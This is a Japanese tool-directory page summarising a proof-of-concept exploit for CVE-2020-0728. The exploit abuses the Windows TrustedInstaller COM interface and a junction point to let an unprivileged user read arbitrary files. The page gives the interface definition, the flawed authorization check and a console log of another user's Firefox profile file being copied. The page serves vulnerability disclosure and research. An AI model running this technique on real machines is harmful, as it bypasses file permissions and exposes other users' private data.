Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-0728 — CVE-2020-0728 の概念実証エクスプロイト。Windows TrustedInstaller COM サービスの悪用によるローカル権限昇格を実証し、ファイルシステム DAC をバイパスして任意のファイルを読み取ります。 | Kitploit
ツール/GitHubGitHub/irsl/cve-2020-0728
特権昇格脆弱性分析エクスプロイトポストエクスプロイトバイナリエクスプロイト
GitHubirsl/cve-2020-0728

CVE-2020-0728

CVE-2020-0728 の概念実証エクスプロイト。Windows TrustedInstaller COM サービスの悪用によるローカル権限昇格を実証し、ファイルシステム DAC をバイパスして任意のファイルを読み取ります。

リポジトリを見る
4612136年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-0728

詳細

TrustedInstaller.exe サービスは NT_AUTHORITY\SYSTEM として実行され、Sxs Store クラス (3C6859CE-230B-48A4-BE6C-932C0C202048) COM サービスとインターフェース ISxsStore をホストしています。
このサービスのアクセス許可 (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) は、ローカルシステム上の任意のユーザーにアクセスを許可します。
ISxsStore インターフェースは 4 つのメソッドを公開しています。

root@kitploit:~
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
    HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
    HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
    HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
    HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}

呼び出されると、実装は TiWorker.exe (これも NT_AUTHORITY\SYSTEM として実行) がホストする ICbsWorker インターフェースに問い合わせて ICbsSession8 セッションを取得し、実際にこのインターフェース上で同じメソッドを呼び出します。
実際のロジックは sxsstore.dll ライブラリに実装されており、認証は CSxsStore::BeginAssemblyInstall にあります。

root@kitploit:~
uVar1 = SxspEnsureComClientIsAdmin((void **)this);

これは CoImpersonateClient + CheckTokenMembership 呼び出しを使用して行われます。

問題は、TiWorker.exe プロセスがホストするセッションが TrustedInstaller.exe ラッパーを介して呼び出された場合、実装された認証ロジックは常に NT_AUTHORITY\SYSTEM からの接続を受けるため、すべてのユーザーにアクセスを許可してしまうことです。

インストールを要求されたアセンブリは、wcp.dll (Windows::COM::CComponentStore::InternalTransact) に存在する実装によって C:\Windows\WinSXS の下に配置され、この正規の保存先ディレクトリから脱出するためのこれらのメソッド呼び出しを保護するための十分なセキュリティ対策が施されているように見えますが、マニフェストで参照されているソースファイルはジャンクションポイントを介して悪用される可能性があります。

これを悪用すると、以下に示すようにファイルシステム DAC をバイパスし、ローカルファイルシステム上の任意のファイルを読み取ることができます。

root@kitploit:~
	Microsoft Windows [Version 10.0.18362.592]
	(c) 2019 Microsoft Corporation. All rights reserved.

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
	desktop-43rnlku\unprivileged

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv

	PRIVILEGES INFORMATION
	----------------------

	Privilege Name                Description                          State
	============================= ==================================== ========
	SeShutdownPrivilege           Shut down the system                 Disabled
	SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
	SeUndockPrivilege             Remove computer from docking station Disabled
	SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
	SeTimeZonePrivilege           Change the time zone                 Disabled


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
	Access is denied.


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
	sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
	Creating helper junction sxscopy.junction -> C:\
	Junction created for sxscopy.junction <<===>> C:\
	Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
	Exploitation has succeeded, copy of the source file was placed inside WinSXS
	Copy has succeeded!

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
	[Install308046B0AF4A39CB]
	Default=Profiles/5bqqo33l.default
	Locked=1

	[Profile2]
	Name=johndoe
	IsRelative=1
	Path=Profiles/5bqqo33l.default
	Default=1

	[Profile1]
	Name=default
	IsRelative=1
	Path=Profiles/x89vbmzf.default

	[Profile0]
	Name=default-release
	IsRelative=1
	Path=Profiles/1kmhc44f.default-release

	[General]
	StartWithLastProfile=1
	Version=2

wcp フレームワークは実際には非常に複雑で、さまざまな「インストーラ」(例えば「高度な」ものの中には GenericCommand 実行など)を備えていますが、上記でアクセス可能なインターフェースは「プリミティブなインストーラ」に限定されているようです。CRegistryInstaller::CommitChanges を実行して C:\Windows\Logs\CBS\CBS.log に次のような行を出力することはできました。

root@kitploit:~
2020-01-18 15:58:16, Info                  CSI    0000000c Registry installer wrote xxx values

しかし、実際にはレジストリ内の何かを変更するために API メソッドを呼び出すことはありませんでした。

クレジット

上記の報告と PoC コードは Imre Rad によって提出されましたが、NCC の研究者によっても(実際には数ヶ月前に)特定されていました。

リンク

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728

ツールをダウンロード